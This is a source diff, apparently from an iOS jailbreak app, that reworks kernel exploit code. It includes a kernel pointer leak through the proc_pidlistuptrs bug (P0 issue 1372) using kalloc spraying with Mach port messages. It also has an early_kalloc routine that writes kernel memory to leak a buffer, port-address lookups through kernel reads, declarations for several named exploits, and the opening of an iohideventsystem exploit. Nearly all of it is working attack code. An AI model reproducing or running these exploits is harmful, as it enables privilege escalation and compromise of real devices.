showAlert(@"Error", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], 1, 0); \
|
||||
else \
|
||||
showAlert(@"Error", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__], 1, 0); \
|
||||
exit(1); \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", @(msg), wait, destructive)
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
@interface ViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
|
||||
enum {
|
||||
EMPTY_LIST = 0,
|
||||
MULTI_PATH = 1,
|
||||
ASYNC_WAKE = 2,
|
||||
DEJA_XNU = 3,
|
||||
NECP = 4,
|
||||
};
|
||||
|
||||
double uptime(void);
|
||||
int isJailbroken(void);
|
||||
int isSupportedByExploit(int exploit);
|
||||
int hasMPTCP(void);
|
||||
int selectJailbreakExploit(void);
|
||||
int isSupportedByJailbreak(void);
|
||||
int selectRestartExploit(void);
|
||||
int isSupportedByRestart(void);
|
||||
int selectRespringExploit(void);
|
||||
int isSupportedByRespring(void);
|
||||
|
||||
void setPreference(NSString *key, id object);
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender;
|
||||
+(ViewController*)sharedController;
|
||||
|
||||
@end
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+565
-554
File diff suppressed because it is too large
Load Diff
@@ -3,6 +3,6 @@
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void async_wake_go(void);
|
||||
bool async_wake_go(void);
|
||||
|
||||
#endif /* async_wake_h */
|
||||
|
||||
@@ -8,62 +8,62 @@
|
||||
|
||||
#include "early_kalloc.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kmem.h"
|
||||
#include "offsets.h"
|
||||
|
||||
extern int message_size_for_kalloc_size(int kalloc_size);
|
||||
#include <common.h>
|
||||
|
||||
// get a kalloc allocation before we've got a kcall interface to just call it
|
||||
uint64_t early_kalloc(int size) {
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate port\n");
|
||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("early kalloc failed to send message\n");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
printf("message buffer: %llx\n", message_buffer);
|
||||
|
||||
// leak the message buffer:
|
||||
wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
|
||||
return message_buffer;
|
||||
uint64_t early_kalloc(int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port");
|
||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("early kalloc failed to send message");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
LOG("message buffer: %llx", message_buffer);
|
||||
|
||||
// leak the message buffer:
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
return message_buffer;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,7 +1,7 @@
|
||||
#ifndef empty_list_sploit_h
|
||||
#define empty_list_sploit_h
|
||||
#import <stdbool.h>
|
||||
|
||||
void vfs_sploit(void);
|
||||
bool vfs_sploit(void);
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
+202
-196
@@ -4,10 +4,11 @@
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kmem.h"
|
||||
#include "offsets.h"
|
||||
#include "kutils.h"
|
||||
#include <common.h>
|
||||
|
||||
/*
|
||||
* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
|
||||
@@ -22,232 +23,237 @@
|
||||
typedef uint64_t kqueue_id_t;
|
||||
|
||||
struct kevent_qos_s {
|
||||
uint64_t ident; /* identifier for this event */
|
||||
int16_t filter; /* filter for event */
|
||||
uint16_t flags; /* general flags */
|
||||
uint32_t qos; /* quality of service when servicing event */
|
||||
uint64_t udata; /* opaque user data identifier */
|
||||
uint32_t fflags; /* filter-specific flags */
|
||||
uint32_t xflags; /* extra filter-specific flags */
|
||||
int64_t data; /* filter-specific data */
|
||||
uint64_t ext[4]; /* filter-specific extensions */
|
||||
uint64_t ident; /* identifier for this event */
|
||||
int16_t filter; /* filter for event */
|
||||
uint16_t flags; /* general flags */
|
||||
uint32_t qos; /* quality of service when servicing event */
|
||||
uint64_t udata; /* opaque user data identifier */
|
||||
uint32_t fflags; /* filter-specific flags */
|
||||
uint32_t xflags; /* extra filter-specific flags */
|
||||
int64_t data; /* filter-specific data */
|
||||
uint64_t ext[4]; /* filter-specific extensions */
|
||||
};
|
||||
|
||||
#define PRIVATE
|
||||
#include <sys/types.h>
|
||||
#include <sys/event.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/event.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct kevent_extinfo {
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
};
|
||||
|
||||
extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags);
|
||||
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
|
||||
|
||||
int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize);
|
||||
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
|
||||
|
||||
// appends n_events user events onto this process's kevent queue
|
||||
static void fill_events(int n_events) {
|
||||
struct kevent_qos_s events_id[] = {{
|
||||
.filter = EVFILT_USER,
|
||||
.ident = 1,
|
||||
.flags = EV_ADD,
|
||||
.udata = 0x2345
|
||||
}};
|
||||
|
||||
kqueue_id_t id = 0x1234;
|
||||
|
||||
for (int i = 0; i < n_events; i++) {
|
||||
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
|
||||
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
|
||||
|
||||
if (err != 0) {
|
||||
printf(" [-] failed to enqueue user event\n");
|
||||
exit(EXIT_FAILURE);
|
||||
static void fill_events(int n_events)
|
||||
{
|
||||
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
|
||||
.ident = 1,
|
||||
.flags = EV_ADD,
|
||||
.udata = 0x2345 } };
|
||||
|
||||
kqueue_id_t id = 0x1234;
|
||||
|
||||
for (int i = 0; i < n_events; i++) {
|
||||
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
|
||||
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
|
||||
|
||||
if (err != 0) {
|
||||
LOG("failed to enqueue user event");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
events_id[0].ident++;
|
||||
}
|
||||
|
||||
events_id[0].ident++;
|
||||
}
|
||||
}
|
||||
|
||||
int kqueues_allocated = 0;
|
||||
|
||||
static void prepare_kqueue() {
|
||||
// ensure there are a large number of events so that kevent_proc_copy_uptrs
|
||||
// always returns a large number
|
||||
if (kqueues_allocated) {
|
||||
return;
|
||||
}
|
||||
fill_events(10000);
|
||||
printf(" [+] prepared kqueue\n");
|
||||
kqueues_allocated = 1;
|
||||
static void prepare_kqueue()
|
||||
{
|
||||
// ensure there are a large number of events so that kevent_proc_copy_uptrs
|
||||
// always returns a large number
|
||||
if (kqueues_allocated) {
|
||||
return;
|
||||
}
|
||||
fill_events(10000);
|
||||
LOG("prepared kqueue");
|
||||
kqueues_allocated = 1;
|
||||
}
|
||||
|
||||
// will make a kalloc allocation of (count*8)+7
|
||||
// and only write to the first (count*8) bytes.
|
||||
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
|
||||
// (the upper byte will be set to 0)
|
||||
static uint64_t try_leak(int count) {
|
||||
int buf_size = (count*8)+7;
|
||||
char* buf = calloc(buf_size+1, 1);
|
||||
|
||||
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
|
||||
|
||||
if (err == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// the last 7 bytes will contain the leaked data:
|
||||
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
||||
|
||||
return last_val;
|
||||
static uint64_t try_leak(int count)
|
||||
{
|
||||
int buf_size = (count * 8) + 7;
|
||||
char* buf = calloc(buf_size + 1, 1);
|
||||
|
||||
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
|
||||
|
||||
if (err == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// the last 7 bytes will contain the leaked data:
|
||||
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
||||
|
||||
return last_val;
|
||||
}
|
||||
|
||||
struct ool_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
struct ool_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
};
|
||||
|
||||
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
|
||||
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
|
||||
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
|
||||
// allocate a port to send the message to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
|
||||
for (int i = 0; i < count; i++) {
|
||||
ports[i] = target_port;
|
||||
}
|
||||
|
||||
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414141;
|
||||
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->ool_ports.address = ports;
|
||||
msg->ool_ports.count = count;
|
||||
msg->ool_ports.deallocate = 0;
|
||||
msg->ool_ports.disposition = disposition;
|
||||
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)sizeof(struct ool_msg),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to send message: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
static int uint64_t_compare(const void* a, const void* b) {
|
||||
uint64_t a_val = (*(uint64_t*)a);
|
||||
uint64_t b_val = (*(uint64_t*)b);
|
||||
if (a_val < b_val) {
|
||||
return -1;
|
||||
}
|
||||
if (a_val == b_val) {
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) {
|
||||
prepare_kqueue();
|
||||
|
||||
int n_guesses = 100;
|
||||
uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t));
|
||||
int valid_guesses = 0;
|
||||
|
||||
for (int i = 1; i < n_guesses+1; i++) {
|
||||
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
|
||||
mach_port_destroy(mach_task_self(), q);
|
||||
uint64_t leaked = try_leak(i-1);
|
||||
//printf("leaked %016llx\n", leaked);
|
||||
|
||||
// a valid guess is one which looks a bit like a kernel heap pointer
|
||||
// without the upper byte:
|
||||
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
|
||||
guesses[valid_guesses++] = leaked | 0xff00000000000000;
|
||||
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
|
||||
{
|
||||
// allocate a port to send the message to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_guesses == 0) {
|
||||
printf(" [-] couldn't leak any kernel pointers\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// return the most frequent guess
|
||||
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
|
||||
|
||||
uint64_t best_guess = guesses[0];
|
||||
int best_guess_count = 1;
|
||||
|
||||
uint64_t current_guess = guesses[0];
|
||||
int current_guess_count = 1;
|
||||
for (int i = 1; i < valid_guesses; i++) {
|
||||
if (guesses[i] == guesses[i-1]) {
|
||||
current_guess_count++;
|
||||
if (current_guess_count > best_guess_count) {
|
||||
best_guess = current_guess;
|
||||
best_guess_count = current_guess_count;
|
||||
}
|
||||
} else {
|
||||
current_guess = guesses[i];
|
||||
current_guess_count = 1;
|
||||
|
||||
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
|
||||
for (int i = 0; i < count; i++) {
|
||||
ports[i] = target_port;
|
||||
}
|
||||
}
|
||||
|
||||
//printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
free(guesses);
|
||||
|
||||
return best_guess;
|
||||
|
||||
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414141;
|
||||
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->ool_ports.address = ports;
|
||||
msg->ool_ports.count = count;
|
||||
msg->ool_ports.deallocate = 0;
|
||||
msg->ool_ports.disposition = disposition;
|
||||
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)sizeof(struct ool_msg),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to send message: %s", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_kmem_read(mach_port_name_t port) {
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
|
||||
uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
|
||||
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
static int uint64_t_compare(const void* a, const void* b)
|
||||
{
|
||||
uint64_t a_val = (*(uint64_t*)a);
|
||||
uint64_t b_val = (*(uint64_t*)b);
|
||||
if (a_val < b_val) {
|
||||
return -1;
|
||||
}
|
||||
if (a_val == b_val) {
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition) {
|
||||
if (have_kmem_read()) {
|
||||
return find_port_via_kmem_read(port);
|
||||
}
|
||||
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
|
||||
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
|
||||
{
|
||||
prepare_kqueue();
|
||||
|
||||
int n_guesses = 100;
|
||||
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
|
||||
int valid_guesses = 0;
|
||||
|
||||
for (int i = 1; i < n_guesses + 1; i++) {
|
||||
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
|
||||
mach_port_destroy(mach_task_self(), q);
|
||||
uint64_t leaked = try_leak(i - 1);
|
||||
//LOG("leaked %016llx", leaked);
|
||||
|
||||
// a valid guess is one which looks a bit like a kernel heap pointer
|
||||
// without the upper byte:
|
||||
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
|
||||
guesses[valid_guesses++] = leaked | 0xff00000000000000;
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_guesses == 0) {
|
||||
LOG("couldn't leak any kernel pointers");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// return the most frequent guess
|
||||
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
|
||||
|
||||
uint64_t best_guess = guesses[0];
|
||||
int best_guess_count = 1;
|
||||
|
||||
uint64_t current_guess = guesses[0];
|
||||
int current_guess_count = 1;
|
||||
for (int i = 1; i < valid_guesses; i++) {
|
||||
if (guesses[i] == guesses[i - 1]) {
|
||||
current_guess_count++;
|
||||
if (current_guess_count > best_guess_count) {
|
||||
best_guess = current_guess;
|
||||
best_guess_count = current_guess_count;
|
||||
}
|
||||
} else {
|
||||
current_guess = guesses[i];
|
||||
current_guess_count = 1;
|
||||
}
|
||||
}
|
||||
|
||||
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
free(guesses);
|
||||
|
||||
return best_guess;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_kmem_read(mach_port_name_t port)
|
||||
{
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
}
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition)
|
||||
{
|
||||
if (have_kmem_read()) {
|
||||
return find_port_via_kmem_read(port);
|
||||
}
|
||||
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
|
||||
}
|
||||
|
||||
+267
-270
@@ -25,293 +25,290 @@
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
kern_return_t mach_vm_map
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mem_entry_name_port_t object,
|
||||
memory_object_offset_t offset,
|
||||
boolean_t copy,
|
||||
vm_prot_t cur_protection,
|
||||
vm_prot_t max_protection,
|
||||
vm_inherit_t inheritance
|
||||
);
|
||||
#include <common.h>
|
||||
|
||||
kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
kern_return_t mach_vm_map(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mem_entry_name_port_t object,
|
||||
memory_object_offset_t offset,
|
||||
boolean_t copy,
|
||||
vm_prot_t cur_protection,
|
||||
vm_prot_t max_protection,
|
||||
vm_inherit_t inheritance);
|
||||
|
||||
kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, char* service_name, mach_port_t *sp);
|
||||
bootstrap_look_up(mach_port_t bp, char* service_name, mach_port_t* sp);
|
||||
|
||||
// missing io_hideventsystem MIG prototypes, link again IOKit.framework for the symbols
|
||||
|
||||
kern_return_t io_hideventsystem_open(
|
||||
mach_port_t service,
|
||||
mach_port_t our_task,
|
||||
int type,
|
||||
void* bplist,
|
||||
int bplist_len,
|
||||
int zero0,
|
||||
int zero1,
|
||||
mach_port_t a_receive_right,
|
||||
mach_port_t* connection);
|
||||
mach_port_t service,
|
||||
mach_port_t our_task,
|
||||
int type,
|
||||
void* bplist,
|
||||
int bplist_len,
|
||||
int zero0,
|
||||
int zero1,
|
||||
mach_port_t a_receive_right,
|
||||
mach_port_t* connection);
|
||||
|
||||
kern_return_t io_hideventsystem_clear_service_cache(
|
||||
mach_port_t service_connection);
|
||||
mach_port_t service_connection);
|
||||
|
||||
kern_return_t io_hideventsystem_copy_matching_services(
|
||||
mach_port_t service_connection,
|
||||
void* matching,
|
||||
int matching_len,
|
||||
void** matching_out,
|
||||
int* matching_out_len,
|
||||
void** service_ids_out,
|
||||
int* service_ids_out_len);
|
||||
mach_port_t service_connection,
|
||||
void* matching,
|
||||
int matching_len,
|
||||
void** matching_out,
|
||||
int* matching_out_len,
|
||||
void** service_ids_out,
|
||||
int* service_ids_out_len);
|
||||
|
||||
kern_return_t io_hideventsystem_queue_create(
|
||||
mach_port_t service_connection,
|
||||
mach_port_t notification_port,
|
||||
int queue_size,
|
||||
mach_port_t* queue_memory_entry);
|
||||
mach_port_t service_connection,
|
||||
mach_port_t notification_port,
|
||||
int queue_size,
|
||||
mach_port_t* queue_memory_entry);
|
||||
|
||||
kern_return_t io_hideventsystem_queue_start(
|
||||
mach_port_t service_connection);
|
||||
mach_port_t service_connection);
|
||||
|
||||
kern_return_t io_hideventsystem_queue_stop(
|
||||
mach_port_t service_connection);
|
||||
mach_port_t service_connection);
|
||||
|
||||
mach_port_t hid_event_queue_exploit() {
|
||||
kern_return_t err;
|
||||
|
||||
/* connect to the com.apple.iohideventsystem service */
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
|
||||
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
|
||||
printf("failed to lookup service\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got service port: 0x%x\n", service_port);
|
||||
|
||||
/* open a client connection */
|
||||
|
||||
mach_port_t a_receive_right = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &a_receive_right);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to allocate receive right\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), a_receive_right, a_receive_right, MACH_MSG_TYPE_MAKE_SEND);
|
||||
printf("allocated a receive right 0x%x, we'll give hideventsystem a send to this\n", a_receive_right);
|
||||
|
||||
mach_port_t connection_port = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_open(
|
||||
service_port,
|
||||
mach_task_self(),
|
||||
3,
|
||||
NULL,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
a_receive_right,
|
||||
&connection_port);
|
||||
|
||||
printf("err: %x\n", err);
|
||||
printf("connection_port: %x\n", connection_port);
|
||||
printf("a_receive_right: %x\n", a_receive_right);
|
||||
|
||||
